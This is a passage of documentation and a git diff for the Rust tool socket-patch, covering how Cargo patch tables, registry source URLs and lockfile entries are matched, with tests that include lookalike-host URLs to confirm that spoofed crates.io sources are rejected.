that may select the locked patched version, that declaration builds a separate, unpatched copy, possibly of the very version the pin covers. Not pinned means crates.io or another registry that no Socket `[patch.]` registry entry redirects, a `registry-index`, a path or git — the last three even beside `registry = "socket-patch-"`, which they override (hosted scan's own pinned check). The `Cargo.lock` reference is omitted, naming the unpinned declaration's manifest. Hosted scan pins every declaration, so this is a partial revert or a hand edit; the warning says whether re-running `scan` pins it again (a crates.io declaration whose requirement matches no other locked version of the crate) or cannot (`redirect_cargo_toml_dep_unrewritable`: roll the patch back or change the declaration). A declaration whose requirement excludes the patched version (cargo resolves it to another version), and a `[workspace.dependencies]` entry no manifest inherits, do not withhold the statement. When the lock already holds a same-version copy from another source, the reference is withheld as an unpatched lock copy instead. A declaration pinned to ANOTHER Socket patch, which the lock does not resolve the crate from, adds that patch's `Cargo.toml` reference, so the package is gated as `wiring_conflict`. **Vendored Cargo copies a `[patch]` does not reach** (`vex_cargo_patch_bypassed`): a `[patch.]` entry replaces the crate only in declarations from ``, and `vendor` writes `[patch.crates-io]`. So a vendored reference is omitted when a live declaration of the crate (the root `Cargo.toml`'s or a workspace member's) names another registry, a `registry-index` or a git repository, with a version requirement that may select the patched version, unless a `[patch]` table for its source points at the same copy (`[patch.]` for a registry dependency, `[patch.""]` for a `registry-index` one, `[patch.""]` for a git one; URLs compare as cargo canonicalizes them: the host's case, a lock's `registry+` prefix, one trailing `/` and a `.git` suffix ignored, a GitHub URL case-insensitive, a `sparse+` index another source than the git one, and the crates.io git index is crates.io); cargo builds that declaration's own, unpatched copy. Workspace members are read for this whenever the root manifest or the project cargo config wires a Socket copy through `[patch]`, whatever the lock says. It is also omitted when `Cargo.lock` locks the crate at exactly the patched version from any source (a registry, crates.io included, or git) beside the vendored copy; the warning names that lock entry. A path declaration (the user's own fork) does not withhold the statement. Only `[patch]` entries cargo honors count: a manifest entry the project config or a crates.io URL table replaces covers nothing. The warning ends with the remedy for its evidence: for a declaration, re-running `vendor` does not help (declare the crate from crates.io there, point a `[patch]` table for its source at the copy, or roll the patch back); for a stale lock entry a `[patch]` table at the copy redirects (crates.io under `[patch.crates-io]`, another registry or a git repository under its own table; a registry's table by its index URL, or by its name when the project's cargo config defines that registry), re-lock (`cargo update -p "#@"`, or re-run `vendor` for crates.io); for another lock entry, `cargo tree -i "#@"` names the dependency that declares it. The commands name the entry by its source, because the bare `@` also fits the copy the lock holds at `+socket.` and cargo refuses it as ambiguous. A source with a character a shell would read inside the quotes is not printed: the command then takes the bare crate name, which cargo answers with the specs it accepts. * **Shrinkwrap without a twin (#899).** npm >= 12 never reads `npm-shrinkwrap.json`: on a project whose only npm lock is the shrinkwrap it resolves the tree from the registry and writes a fresh `package-lock.json`, so a Socket reference there reaches npm <= 11 only. The reference is still discovered, so `list`, `rollback` and `remove` manage it, but `vex` omits the patch (`vex_npm_shrinkwrap_only`, as a run warning and as the `failed[].reason`). A `package-lock.json` beside it (wired the same way) makes it attestable again. Hosted and vendored runs still rewire the shrinkwrap and warn `redirect_npm_shrinkwrap_only` / `vendor_npm_shrinkwrap_only`. * **Locks the package manager is told not to read.** A reference in a lock the project's own configuration turns off proves nothing about what installs. Read from the project's own rc file only (no user or global config, no environment): npm's `package-lock` or its alias `shrinkwrap` set to `false` / `null` in `.npmrc` (`npm install` then ignores `package-lock.json` and `npm-shrinkwrap.json` and resolves from the registry; only `npm ci` still installs from the lock; a `${VAR}` value counts as off); yarn 1's `--install.no-lockfile`, `--*.no-lockfile` or `--no-lockfile` in `.yarnrc` with any value but `false` (yarn neither reads nor writes `yarn.lock`, `--frozen-lockfile` included); a yarn berry `lockfileFilename` in `.yarnrc.yml` naming another file (yarn 2 and 3 read that file, yarn 4 rejects the setting and installs nothing); and pnpm's `lockfile` setting (**pnpm with its lockfile off** above). A hosted reference of such a lock keeps no lockfile basis: `vex` attests it only from an installed tree whose every copy verifies, and discovery warns `patched_ref_unattributable` naming the setting. A vendored reference stays a reference but is omitted (`vex_lock_not_read`, as a run warning and as the `failed[].reason`), because its basis is the committed artifact and nothing installs it through a lock nothing reads; the pnpm exception is an override that routes the package to the artifact. * **Lockless pins.** With no lock to name a version, a `Cargo.toml` pin (every declaration on `socket-patch-`, that registry defined on the patch host for the same uuid) or an exclusive nuget exact-id mapping is never a reference on its own, so v5.0 does not attest it (nor does `list` show it, or `rollback` / `remove` restore it — restore those files from version control). Only a pre-v5 redirect-ledger record naming a version the pin admits keeps it live. For Cargo, declarations are read as for a locked pin (**Unpinned Cargo declarations**): one that is no pin admits nothing, and its requirement (any version, without one) is excluded from the pin; a `[workspace.dependencies]` template no manifest inherits is no declaration at all. The same holds for a gem wired only in the `Gemfile` (the pre-bundler-2.6 mixed state, lock not converged). diff --git a/crates/socket-patch-core/src/formats/cargo/mod.rs b/crates/socket-patch-core/src/formats/cargo/mod.rs index 459533241..356e5742a 100644 --- a/crates/socket-patch-core/src/formats/cargo/mod.rs +++ b/crates/socket-patch-core/src/formats/cargo/mod.rs @@ -88,6 +88,67 @@ pub(crate) fn is_registry_source(source: &str) -> bool { s.starts_with("sparse+") || s.starts_with("registry+") } +/// The crates.io index as a git repository: the one URL a `[patch]` table +/// may spell crates.io by. +pub const CRATES_IO_INDEX_URL: &str = "https://github.com/rust-lang/crates.io-index"; + +/// How cargo writes crates.io in a `Cargo.lock` `source` (it keeps this +/// spelling even when it fetches over the sparse protocol). +pub(crate) const CRATES_IO_SOURCE: &str = "registry+https://github.com/rust-lang/crates.io-index"; + +/// The crates.io sparse index. +const CRATES_IO_SPARSE_URL: &str = "https://index.crates.io"; + +/// Whether `url` is the crates.io git index, compared the way cargo's +/// `CanonicalUrl` compares a repository: one trailing `/` and a `.git` +/// suffix do not make another source, and a GitHub URL has no case. +pub fn is_crates_io_git_index(url: &str) -> bool { + let url = url.trim(); + let url = url.strip_suffix('/').unwrap_or(url); + let url = match url.len().checked_sub(".git".len()) { + Some(at) if url.is_char_boundary(at) && url[at..].eq_ignore_ascii_case(".git") => { + &url[..at] + } + _ => url, + }; + url.eq_ignore_ascii_case(CRATES_IO_INDEX_URL) +} + +/// Whether `url` is the crates.io sparse index. A sparse URL is compared +/// as written but for the host's case and one trailing `/`: cargo drops no +/// `.git` from it. +fn is_crates_io_sparse_index(url: &str) -> bool { + let url = url.trim(); + url.strip_suffix('/') + .unwrap_or(url) + .eq_ignore_ascii_case(CRATES_IO_SPARSE_URL) +} + +/// Whether a `Cargo.lock` `source` names crates.io: the git index behind +/// `registry+`, or the sparse index behind `sparse+`. The one rule for +/// that question. The whole URL is compared, so a host or a path that only +/// contains crates.io's is another source, and so is either index behind +/// the other kind. +/// +/// A `[patch.
]` key is another question: [`is_crates_io_patch_table`]. +pub(crate) fn is_crates_io_source(source: &str) -> bool { + let source = source.trim(); + if let Some(url) = source.strip_prefix("registry+") { + return is_crates_io_git_index(url); + } + source + .strip_prefix("sparse+") + .is_some_and(is_crates_io_sparse_index) +} + +/// Whether a `[patch.
]` key names crates.io: `crates-io`, or the git +/// index by URL. Those are the only spellings cargo applies to crates.io +/// (checked with cargo 1.98: under `[patch."sparse+https://index.crates.io/"]` +/// or `[patch."registry+…"]` it reports the patch as unused). +pub fn is_crates_io_patch_table(table: &str) -> bool { + table == "crates-io" || is_crates_io_git_index(table) +} + /// Every `[[package]]` of `doc` (lock formats v1–v4), in lock order; an /// entry without a string `name` and `version` is skipped. A lock with no /// packages has no `package` key and yields nothing. @@ -480,8 +541,7 @@ impl CargoLock { let Some(purl) = simple_purl("cargo", &pkg.name, &version) else { continue; }; - let crates_io = source.contains("github.com/rust-lang/crates.io-index") - || source.contains("index.crates.io"); + let crates_io = is_crates_io_source(source); // The crates.io provenance is recorded exactly where the checksum // is kept as the `.crate`'s sha256. let (integrity, source_kind) = match &pkg.checksum { @@ -539,3 +599,122 @@ impl CargoLock { ) } } + +#[cfg(test)] +mod tests { + use super::*; + + /// crates.io under every spelling cargo reads as it, and nothing that + /// only looks like it. + #[test] + fn a_lock_source_is_crates_io_only_as_a_whole_url() { + for source in [ + CRATES_IO_SOURCE, + "sparse+https://index.crates.io/", + "sparse+https://index.crates.io", + "registry+https://github.com/rust-lang/crates.io-index/", + "registry+https://github.com/rust-lang/crates.io-index.git", + "registry+https://github.com/rust-lang/crates.io-index.git/", + "registry+https://GitHub.com/Rust-Lang/crates.io-index", + "sparse+https://INDEX.crates.io/", + " registry+https://github.com/rust-lang/crates.io-index ", + ] { + assert!(is_crates_io_source(source), "{source}"); + } + for source in [ + // A host or a path that contains crates.io's. + "sparse+https://index.crates.io.evil.example/", + "sparse+https://evil.example/index.crates.io/", + "registry+https://github.com/rust-lang/crates.io-index-fork", + "registry+https://github.com/evil/rust-lang/crates.io-index", + "registry+https://evil.example/github.com/rust-lang/crates.io-index", + // `.git` is dropped from a repository path, never from a sparse + // URL, where it would be part of the host. + "sparse+https://index.crates.io.git/", + "sparse+https://index.crates.io.git", + // Either index behind the other kind is another source. + "registry+https://index.crates.io", + "sparse+https://github.com/rust-lang/crates.io-index", + // One trailing `/` is dropped, not two. + "registry+https://github.com/rust-lang/crates.io-index//", + "sparse+https://index.crates.io//", + // No kind: not a lock source. + "https://github.com/rust-lang/crates.io-index", + "crates-io", + "registry+https://my-corp.example/index", + "git+https://github.com/rust-lang/crates.io-index#0123456789abcdef", + "registry+", + "", + ] { + assert!(!is_crates_io_source(source), "{source}"); + } + } + + /// A `[patch]` table is crates.io's under the name and under the git + /// index URL, which are the spellings cargo applies. + #[test] + fn a_patch_table_is_crates_io_by_name_or_by_the_git_index_url() { + for table in [ + "crates-io", + CRATES_IO_INDEX_URL, + "https://github.com/rust-lang/crates.io-index/", + "https://github.com/rust-lang/crates.io-index.git", + "https://GitHub.com/Rust-Lang/crates.io-index", + ] { + assert!(is_crates_io_patch_table(table), "{table}"); + } + for table in [ + "sparse+https://index.crates.io/", + "https://index.crates.io/", + CRATES_IO_SOURCE, + "https://github.com/rust-lang/crates.io-index-fork", + "https://example.com/index", + "Crates-IO", + "my-corp", + "", + ] { + assert!(!is_crates_io_patch_table(table), "{table}"); + } + assert_eq!(CRATES_IO_SOURCE, format!("registry+{CRATES_IO_INDEX_URL}")); + } + + /// The inventory records crates.io provenance, and with it the + /// `.crate` checksum to verify against, only for a crates.io source. + #[test] + fn only_a_crates_io_entry_carries_the_crates_io_verifier() { + let cksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"; + let lock = |source: &str| { + CargoLock::parse(&format!( + "version = 4\n\n[[package]]\nname = \"cfg-if\"\nversion = \"1.0.4\"\n\ + source = \"{source}\"\nchecksum = \"{cksum}\"\n" + )) + .unwrap() + }; + let kind = |source: &str| { + let entries = lock(source).entries(); + assert_eq!(entries.len(), 1, "{source}"); + (entries[0].source_kind, entries[0].integrity.clone()) + }; + for source in [CRATES_IO_SOURCE, "sparse+https://index.crates.io/"] { + assert_eq!( + kind(source), + ( + SourceKind::CratesIo, + LockIntegrity::Sha256Hex(cksum.to_string()) + ), + "{source}" + ); + } + for source in [ + "sparse+https://index.crates.io.evil.example/", + "registry+https://github.com/rust-lang/crates.io-index-fork", + "registry+https://my-corp.example/index", + ] { + assert_eq!( + kind(source), + (SourceKind::Unspecified, LockIntegrity::None), + "{source}" + ); + } + } +} diff --git a/crates/socket-patch-core/src/patch/redirect/mod.rs b/crates/socket-patch-core/src/patch/redirect/mod.rs index face29f7c..5d5bcabb5 100644 --- a/crates/socket-patch-core/src/patch/redirect/mod.rs +++ b/crates/socket-patch-core/src/patch/redirect/mod.rs @@ -61,7 +61,7 @@ use crate::formats::cargo::hosted::CargoLockPlan; #[cfg(test)] use crate::formats::cargo::hosted::CARGO_LOCK_REFERENCE_KIND; use crate::formats::cargo::source_replacement::{crates_io_source, ConfigLayer, CratesIoSource}; -use crate::formats::cargo::CargoLock; +use crate::formats::cargo::{is_crates_io_patch_table, is_crates_io_source, CargoLock}; use crate::formats::composer::hosted::rewrite_composer_lock; use crate::formats::gem::hosted::{ bundled_before_2_2, checksum_entry_span, converge_gem_lock_source, lock_layout, @@ -2533,22 +2533,6 @@ fn cargo_manifest_package_id( Some((name.to_string(), version.to_string())) } -/// Whether a Cargo.lock `source` (or a `[patch.]` key) names crates.io, -/// in either the git-index or the sparse spelling. Compared the way cargo's -/// `CanonicalUrl` does: host casing, a trailing `/` and a `.git` suffix do -/// not make a different source (and github paths are case-insensitive). -pub(crate) fn is_crates_io_source(source: &str) -> bool { - let url = source.trim(); - let url = url - .strip_prefix("registry+") - .or_else(|| url.strip_prefix("sparse+")) - .unwrap_or(url) - .to_ascii_lowercase(); - let url = url.trim_end_matches('/'); - let url = url.strip_suffix(".git").unwrap_or(url); - url == "https://github.com/rust-lang/crates.io-index" || url == "https://index.crates.io" -} - /// Whether a Cargo.lock `source` is a Socket per-patch sparse index /// (`sparse+…//index/`) — an earlier generation's pin, which a /// re-run legitimately repoints. @@ -2640,7 +2624,12 @@ fn cargo_patch_override_table( continue; }; for (registry, table) in patch.iter() { - if registry != "crates-io" && !is_crates_io_source(registry) { + // Wider than cargo's own reading of a `[patch]` key, on purpose: + // cargo applies only `crates-io` and the git-index URL to + // crates.io. A table under crates.io's sparse URL is the user's + // attempt at an override all the same, and a pin beside it is + // refused, not guessed at. + if !is_crates_io_patch_table(registry) && !is_crates_io_source(registry) { continue; } let Some(table) = table.as_table_like() else { @@ -16905,6 +16894,8 @@ mod tests { // Spellings cargo canonicalizes to the same crates.io source. "[patch.\"https://github.com/rust-lang/crates.io-index.git\"]", "[patch.\"https://GitHub.com/Rust-Lang/crates.io-index/\"]", + // The sparse URL, which cargo does not apply to crates.io (it + // reports the patch as unused): refused all the same. "[patch.\"sparse+https://Index.Crates.io/\"]", ] { let mut files = cargo_files(&format!( diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/cargo.rs b/crates/socket-patch-core/src/patch/redirect/upstream/cargo.rs index 4e4f13ba2..71b0b3e92 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/cargo.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/cargo.rs @@ -18,11 +18,7 @@ use std::collections::{BTreeMap, BTreeSet}; use regex::Regex; use super::{Ctx, FormatResult, HostedPin, View}; -use crate::formats::cargo::CargoLock; - -/// How Cargo.lock names crates.io (cargo keeps this spelling even when it -/// fetches over the sparse protocol). -const CRATES_IO_SOURCE: &str = "registry+https://github.com/rust-lang/crates.io-index"; +use crate::formats::cargo::{CargoLock, CRATES_IO_SOURCE}; /// The project cargo configs, in cargo's read preference. const CARGO_CONFIGS: [&str; 2] = [".cargo/config", ".cargo/config.toml"]; diff --git a/crates/socket-patch-core/src/vendor/cargo.rs b/crates/socket-patch-core/src/vendor/cargo.rs index c8c1b4873..956aefa0e 100644 --- a/crates/socket-patch-core/src/vendor/cargo.rs +++ b/crates/socket-patch-core/src/vendor/cargo.rs @@ -26,7 +26,7 @@ use std::path::{Path, PathBuf}; -use crate::formats::cargo::floor; +use crate::formats::cargo::{floor, is_crates_io_source}; use crate::manifest::schema::PatchRecord; use crate::patch::apply::PatchSources; use crate::patch::copy_tree::remove_tree; @@ -578,9 +578,7 @@ async fn lock_source_refusal( if let cargo_lock::LockEntryProbe::Source(source) = cargo_lock::probe_lock_entry(project_root, name, version).await { - if source != "registry+https://github.com/rust-lang/crates.io-index" - && source != "sparse+https://index.crates.io/" - { + if !is_crates_io_source(&source) { return Some(refused("vendor_source_unsupported", format!("{name}@{version} resolves from {source}; server patches require the crates.io package"))); } } @@ -1937,7 +1935,7 @@ pub async fn revert_cargo_vendor_opts( "lock_restore_skipped", format!( "the Cargo.lock entry for {name}@{version} keeps the tagged version of \ - the removed copy ({e}); re-lock it with `cargo update -p {name}`" + the removed copy ({e}); re-lock it with `cargo update -p {name}@{version}`" ), )); } diff --git a/crates/socket-patch-core/src/vendor/cargo_manifest.rs b/crates/socket-patch-core/src/vendor/cargo_manifest.rs index 1719a2e4b..acdc9fc00 100644 --- a/crates/socket-patch-core/src/vendor/cargo_manifest.rs +++ b/crates/socket-patch-core/src/vendor/cargo_manifest.rs @@ -70,21 +70,13 @@ pub const CARGO_TOML: &str = "Cargo.toml"; /// (`-socket-`). pub const SOCKET_KEY_INFIX: &str = "-socket-"; -/// The index URL cargo maps the `crates-io` `[patch]` key to. -pub const CRATES_IO_INDEX_URL: &str = "https://github.com/rust-lang/crates.io-index"; - -/// Does a `[patch.]` key spell the crates.io index by URL -/// (case, a trailing `/`, and a `.git` suffix ignored — conservative)? -pub fn is_crates_io_url_alias(source: &str) -> bool { - let lower = source.trim().to_ascii_lowercase(); - let trimmed = lower.trim_end_matches('/'); - trimmed.strip_suffix(".git").unwrap_or(trimmed) == CRATES_IO_INDEX_URL -} - -/// Does a `[patch.]` key name crates.io (`crates-io` or the URL)? -pub fn is_crates_io_source(source: &str) -> bool { - source == "crates-io" || is_crates_io_url_alias(source) -} +/// The index URL cargo maps the `crates-io` `[patch]` key to, whether a +/// `[patch.]` key spells that index by URL, and whether it names +/// crates.io at all (`crates-io` or the URL): one rule each, kept with the +/// rule for a lock `source`. +pub use crate::formats::cargo::{ + is_crates_io_git_index as is_crates_io_url_alias, is_crates_io_patch_table, CRATES_IO_INDEX_URL, +}; /// The `[patch.]` keys of a document that spell crates.io by URL. pub fn crates_io_url_alias_tables(doc: &DocumentMut) -> Vec { @@ -133,12 +125,12 @@ pub struct ManifestPatchEntry { } /// Every crates.io `[patch]` item of a parsed manifest (or config) — -/// `[patch.crates-io]` and its URL spellings ([`is_crates_io_source`]) — in +/// `[patch.crates-io]` and its URL spellings ([`is_crates_io_patch_table`]) — in /// document order, header, dotted, sub-table and inline forms alike. pub fn crates_io_patch_entries(doc: &DocumentMut) -> Vec { patch_entries(doc) .into_iter() - .filter(|entry| is_crates_io_source(entry.source)) + .filter(|entry| is_crates_io_patch_table(entry.source)) .map(|entry| ManifestPatchEntry { source: entry.source.to_string(), key: entry.key.to_string(), @@ -940,8 +932,8 @@ mod tests { "{PKG}\n[patch.\"https://example.com/index\"]\nitoa = {{ path = \"../itoa\" }}\n" ); assert!(add(&src, "cfg-if", "1.0.4", UUID).content.is_some()); - assert!(is_crates_io_source("crates-io")); - assert!(!is_crates_io_source("https://example.com/index")); + assert!(is_crates_io_patch_table("crates-io")); + assert!(!is_crates_io_patch_table("https://example.com/index")); } /// `toml_edit` drops a leading BOM; the edit and the revert put it back. diff --git a/crates/socket-patch-core/src/vex/discover/cargo.rs b/crates/socket-patch-core/src/vex/discover/cargo.rs index f901d58f3..410cae6d6 100644 --- a/crates/socket-patch-core/src/vex/discover/cargo.rs +++ b/crates/socket-patch-core/src/vex/discover/cargo.rs @@ -145,23 +145,22 @@ use std::collections::{BTreeMap, BTreeSet}; use toml_edit::{DocumentMut, Item, TableLike}; -use crate::patch::redirect::is_crates_io_source as is_crates_io_lock_source; - use super::{ names_vendor_dir, simple_purl, socket_patch_name_uuid, toml_or_diag, vendor_ref, DiscoverCtx, Discovery, PatchedRef, TomlDiag, UnattestedKind, UnlockedPin, VendorRef, DIAG_REF_INVALID, DIAG_REF_UNATTRIBUTABLE, }; -use crate::formats::cargo::{is_registry_source, CargoLock, CopyClaim, LockedPackage}; +use crate::formats::cargo::{ + is_crates_io_patch_table, is_crates_io_source, is_registry_source, CargoLock, CopyClaim, + LockedPackage, +}; use crate::patch::redirect::generation::{hosted_pin_name, PIN_NAME_PREFIX}; use crate::patch::redirect::{cargo_req_selects, CargoReqMatch}; use crate::utils::digest::is_hex64_lower; use crate::vendor::cargo_config::{ effective_config_rel_in, patch_entries, registry_definitions, CONFIG_LEGACY, CONFIG_TOML, }; -use crate::vendor::cargo_manifest::{ - crates_io_url_alias_tables, is_crates_io_source, is_crates_io_url_alias, -}; +use crate::vendor::cargo_manifest::{crates_io_url_alias_tables, is_crates_io_url_alias}; use crate::vendor::cargo_tag; use crate::vendor::lock_inventory::LockIntegrity; @@ -306,6 +305,7 @@ async fn extract_root(ctx: &DiscoverCtx<'_>, root: Option, out: &mu lock: &lock, decls: decls.as_ref(), wired: &wired, + registries: &config_registries(config.as_ref()), }; if let Some(doc) = manifest { vendored_from_patches(ctx, CARGO_TOML, doc, shadow.as_ref(), &bypass, out).await; @@ -532,11 +532,11 @@ impl DeclSource { fn patched_by(&self, registry: Option<&str>, table: &str) -> bool { match self { DeclSource::Registry => match registry.map(str::trim) { - None | Some("crates-io") => is_crates_io_source(table), + None | Some("crates-io") => is_crates_io_patch_table(table), Some(reg) => reg == table, }, DeclSource::RegistryIndex(url) => { - (is_crates_io_url_alias(url) && is_crates_io_source(table)) + (is_crates_io_url_alias(url) && is_crates_io_patch_table(table)) || patch_source_key(url) == patch_source_key(table) } DeclSource::Git(url) => git_key(url).is_some_and(|k| git_key(table) == Some(k)), @@ -545,13 +545,22 @@ impl DeclSource { } /// The source a `Cargo.lock` `source` names, as far as a `[patch]` table - /// can redirect it: crates.io, or a git repository (its `?query` / `#rev` - /// cut). `None` for anything else. + /// can redirect it: crates.io, another registry's index (a `sparse+` + /// index keeps its prefix: it is another source than the git index at + /// that URL), or a git repository (its `?query` / `#rev` cut). `None` + /// for anything else. fn of_lock_source(source: &str) -> Option { - if is_crates_io_lock_source(source) { + if is_crates_io_source(source) { return Some(DeclSource::Registry); } - let repo = source.trim().strip_prefix("git+")?; + let source = source.trim(); + if let Some(index) = source.strip_prefix("registry+") { + return Some(DeclSource::RegistryIndex(index.to_string())); + } + if source.starts_with("sparse+") { + return Some(DeclSource::RegistryIndex(source.to_string())); + } + let repo = source.strip_prefix("git+")?; Some(DeclSource::Git( repo.split(['?', '#']).next().unwrap_or(repo).to_string(), )) @@ -714,6 +723,46 @@ fn git_key(url: &str) -> Option { Some(url) } +/// How a remedy names the lock entry of `name` `version` from `source` to +/// `cargo update -p` and `cargo tree -i`, as the argument to print. +/// +/// The lock holds the vendored copy at `+socket.` too, and +/// cargo leaves build metadata out when it matches a spec, so `name` and +/// `name@version` both fit two packages and cargo refuses them as +/// ambiguous. The source tells them apart: the index or repository URL as +/// cargo compares it, without the `registry+` / `git+` kind (older cargos +/// do not read one) and without a git entry's `?reference` and `#commit` +/// (so two references of one repository still share a spec). A sparse +/// index keeps its `sparse+`, which is part of its URL. +/// +/// The source is whatever the lock says, and the remedy is a line a user +/// pastes into a shell. It is printed, quoted, only when every character +/// of it is one no shell reads inside double quotes. Any other source +/// gets the bare name: cargo answers that with the specs it accepts. +fn lock_entry_spec(source: &str, name: &str, version: &str) -> String { + let source = source.trim(); + let url = if let Some(index) = source.strip_prefix("registry+") { + index + } else if let Some(repo) = source.strip_prefix("git+") { + repo.split(['?', '#']).next().unwrap_or(repo) + } else { + source + }; + let plain = |text: &str| { + !text.is_empty() + && text + .chars() + .all(|c| c.is_ascii_alphanumeric() || "-._~:/+@%=,".contains(c)) + }; + match (plain(name) && plain(version), plain(url)) { + (true, true) => format!("\"{url}#{name}@{version}\""), + (true, false) => name.to_string(), + // A name or version no crate has: nothing of it goes on a command + // line. + (false, _) => "".to_string(), + } +} + /// The source of a lock entry of `name` at exactly `version` that is not a /// Socket patch server's: a copy cargo builds from crates.io, another /// registry or git beside the patched one. @@ -1346,8 +1395,8 @@ fn unpatched_twins(ctx: &DiscoverCtx<'_>, lock: &Lock, out: &mut Discovery) { &format!( "resolves the same crate version from another source, which cargo builds \ beside the Socket copy for the dependents that lock it (`cargo tree -i \ - {}@{}` lists them)", - pkg.name, pkg.version + {}` lists them)", + lock_entry_spec(source, &pkg.name, &pkg.version) ), ); } @@ -1614,6 +1663,22 @@ struct Shadow { registries: BTreeMap, } +/// The project config's `[registries.] index` values, by name. A +/// registry the user's own cargo config or the environment defines is not +/// among them. +fn config_registries(config: Option<&(&'static str, DocumentMut)>) -> BTreeMap { + config + .and_then(|(_, doc)| doc.get("registries")) + .and_then(toml_edit::Item::as_table_like) + .into_iter() + .flat_map(|t| t.iter()) + .filter_map(|(name, item)| { + let index = item.as_table_like()?.get("index")?.as_str()?; + Some((name.to_string(), index.to_string())) + }) + .collect() +} + /// One config `[patch]` item as [`Shadow`] compares it: (file, source /// table, key, path, registry). type ConfigPatchItem = (&'static str, String, String, Option, Option); @@ -1641,8 +1706,8 @@ fn patch_source_key(source: &str) -> String { /// crates.io under any spelling, else the same name or URL /// ([`patch_source_key`]). fn same_patch_source(a: &str, b: &str) -> bool { - if is_crates_io_source(a) || is_crates_io_source(b) { - return is_crates_io_source(a) && is_crates_io_source(b); + if is_crates_io_patch_table(a) || is_crates_io_patch_table(b) { + return is_crates_io_patch_table(a) && is_crates_io_patch_table(b); } patch_source_key(a) == patch_source_key(b) } @@ -1663,20 +1728,10 @@ impl Shadow { }) }) .collect(); - let registries = config - .and_then(|(_, doc)| doc.get("registries")) - .and_then(toml_edit::Item::as_table_like) - .into_iter() - .flat_map(|t| t.iter()) - .filter_map(|(name, item)| { - let index = item.as_table_like()?.get("index")?.as_str()?; - Some((name.to_string(), index.to_string())) - }) - .collect(); Shadow { aliases: crates_io_url_alias_tables(manifest), config_keys, - registries, + registries: config_registries(config), } } @@ -1734,6 +1789,9 @@ struct Bypass<'a> { /// The `[patch]` entries pointing at a Socket copy that cargo honors /// (a shadowed manifest entry redirects nothing). wired: &'a [WiredCopy], + /// The project config's `[registries.] index` values: + /// `[patch.]` redirects the entries locked from that index. + registries: &'a BTreeMap, } /// Mark the vendored ref `purl` (the copy `vref` of `name`@`version`) @@ -1850,19 +1908,26 @@ fn patch_bypassed( } (None, Some(source)) => { // An entry a `[patch]` table pointing at the copy redirects - // (crates.io under `[patch.crates-io]`, a git repository under its - // own table) is stale: cargo would redirect it. Any other is - // declared by some dependency, or left over from one that was - // removed. + // (crates.io under `[patch.crates-io]`, another registry or a + // git repository under its own table, a registry's by its index + // URL or by the name the config defines for it) is stale: cargo + // would redirect it. Any other is declared by some dependency, + // or left over from one that was removed. let stale = DeclSource::of_lock_source(source).and_then(|src| { pins.iter() - .find(|(table, _)| src.patched_by(None, table)) + .find(|(table, _)| { + let index = bypass.registries.get(table.trim()); + src.patched_by(None, table) + || index.is_some_and(|index| src.patched_by(None, index)) + }) .map(|(table, _)| *table) }); + // The bare `name@version` is ambiguous beside the copy. + let spec = lock_entry_spec(source, name, version); let remedy = if let Some(table) = stale { // `vendor` writes `[patch.crates-io]` only, so it re-locks // only a crates.io entry. - let vendor = if is_crates_io_source(table) { + let vendor = if is_crates_io_patch_table(table) { "re-run `socket-patch vendor`, or " } else { "" @@ -1874,13 +1939,13 @@ fn patch_bypassed( }; format!( "the entry is stale (`[patch.{table}]` redirects its source), so \ - re-lock: {vendor}`cargo update -p {name}`" + re-lock: {vendor}`cargo update -p {spec}`" ) } else { format!( - "`cargo tree -i {name}@{version}` names the dependency that declares it \ + "`cargo tree -i {spec}` names the dependency that declares it \ (change that declaration or roll the patch back); if none does any \ - more, re-lock with `cargo update -p {name}`" + more, re-lock with `cargo update -p {spec}`" ) }; ( @@ -5111,7 +5176,10 @@ mod tests { let u = bypassed_mark(&out, "Cargo.lock"); assert!( u.detail.contains("stale") - && u.detail.contains("cargo update -p cfg-if") + && u.detail.contains( + "re-run `socket-patch vendor`, or `cargo update -p \ + \"https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4\"`" + ) && !u.detail.contains("Re-running `vendor` does not"), "{}", u.detail @@ -5125,7 +5193,11 @@ mod tests { .await; let u = bypassed_mark(&out, "Cargo.lock"); assert!( - u.detail.contains("cargo tree -i cfg-if@1.0.4") && !u.detail.contains("stale"), + u.detail + .contains("`cargo tree -i \"https://my-corp.example/index#cfg-if@1.0.4\"`") + && u.detail + .contains("`cargo update -p \"https://my-corp.example/index#cfg-if@1.0.4\"`") + && !u.detail.contains("stale"), "{}", u.detail ); @@ -5146,13 +5218,158 @@ mod tests { assert!( u.detail .contains("`[patch.\"https://github.com/corp/fork\"]` redirects its source") - && u.detail.contains("cargo update -p cfg-if") + && u.detail + .contains("`cargo update -p \"https://github.com/corp/fork#cfg-if@1.0.4\"`") && !u.detail.contains("socket-patch vendor"), "{}", u.detail ); } + /// An entry locked from another registry is stale too when a `[patch]` + /// table for that registry points at the copy: by the index URL, or by + /// the name the config defines for it. A sparse index is another + /// source than the git index at its URL. + #[tokio::test] + async fn an_entry_of_another_registry_its_patch_table_redirects_is_stale() { + let rel = vendor_path(UUID_A, "cfg-if-1.0.4"); + let wired_under = + |table: &str| format!("\n[patch.{table}]\ncfg-if = {{ path = \"{rel}\" }}\n"); + let stale = |detail: &str, table: &str, spec: &str| { + assert!( + detail.contains(&format!("`[patch.{table}]` redirects its source")) + && detail.contains(&format!("re-lock: `cargo update -p \"{spec}\"`")) + && !detail.contains("cargo tree -i") + && !detail.contains("socket-patch vendor"), + "{detail}" + ); + }; + + // By the index URL, however cargo's canonical URL spells it. + let out = run(&vendored_workspace( + "cfg-if = \"1\"", + &wired_under("\"https://My-Corp.example/index/\""), + &[("1.0.4", MY_CORP)], + )) + .await; + stale( + &bypassed_mark(&out, "Cargo.lock").detail, + "\"https://My-Corp.example/index/\"", + "https://my-corp.example/index#cfg-if@1.0.4", + ); + + // By the registry's name, which the project config defines. + let p = vendored_workspace( + "cfg-if = \"1\"", + &wired_under("my-corp"), + &[("1.0.4", MY_CORP)], + ); + p.write( + ".cargo/config.toml", + "[registries.my-corp]\nindex = \"https://my-corp.example/index\"\n", + ); + let out = run(&p).await; + stale( + &bypassed_mark(&out, "Cargo.lock").detail, + "my-corp", + "https://my-corp.example/index#cfg-if@1.0.4", + ); + + // A name the config does not define redirects nothing that is known. + let out = run(&vendored_workspace( + "cfg-if = \"1\"", + &wired_under("my-corp"), + &[("1.0.4", MY_CORP)], + )) + .await; + let u = bypassed_mark(&out, "Cargo.lock"); + assert!( + u.detail.contains("cargo tree -i") && 